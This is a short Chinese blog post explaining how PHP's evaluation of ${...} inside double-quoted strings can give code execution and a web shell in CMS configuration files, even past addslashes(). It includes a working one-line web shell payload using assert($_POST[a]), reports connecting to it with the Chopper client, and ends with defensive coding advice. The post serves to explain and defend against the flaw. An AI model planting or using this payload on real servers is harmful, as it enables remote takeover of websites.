天天看點

PHP中雙引号引起的指令執行漏洞

PHP中雙引号引起的指令執行漏洞

在PHP語言中,單引号和雙引号都可以表示一個字元串,但是對于雙引号來說,可能會對引号内的内容進行二次解釋,這就可能會出現安全問題。

0|1正文

舉個簡單例子

<?php

$a = 1;

$b = 2;

echo '$a$b';//輸出結果為$a$b

echo "$a$b";//輸出結果為12

?>

可以看到這兩個輸出的結果并不相同。

在雙引号中倘若有${}出現,那麼{}内的内容将被當做代碼塊來執行。

可以看到成功執行了phpinfo()

試想一下,倘若在一個cms的背景,可以修改資料庫的配置檔案,且配置檔案中的值用雙引号包括,我們雖然也可以直接閉合代碼達到getshell的後果,但是如果cms對傳遞的參數進行了addlashes()處理的話,我們就無法去閉合代碼了,但這時我們可以傳入${指令}就可以達到getshell的目的。

現在,讓我們來修改一下代碼,讓我們不隻能輸出phpinfo

<?php echo "${@assert($_POST[a])}";?> //@是用來防止輸出錯誤資訊的

菜刀成功連接配接

0|1總結

本文簡單記錄了雙引号可能會引發的代碼執行的情況

對于這種漏洞的防禦,一定要明确單引号與雙引号的差別所在,不要簡單認為兩者是互相可以替代的,在平時的代碼書寫中能隻用單引号一定不要用雙引号,畢竟單引号的解釋時間也比雙引号少得多,代碼運作相對更快。

EOF

作  者:Yunen

出  處:

https://www.cnblogs.com/yunen/p/10600410.html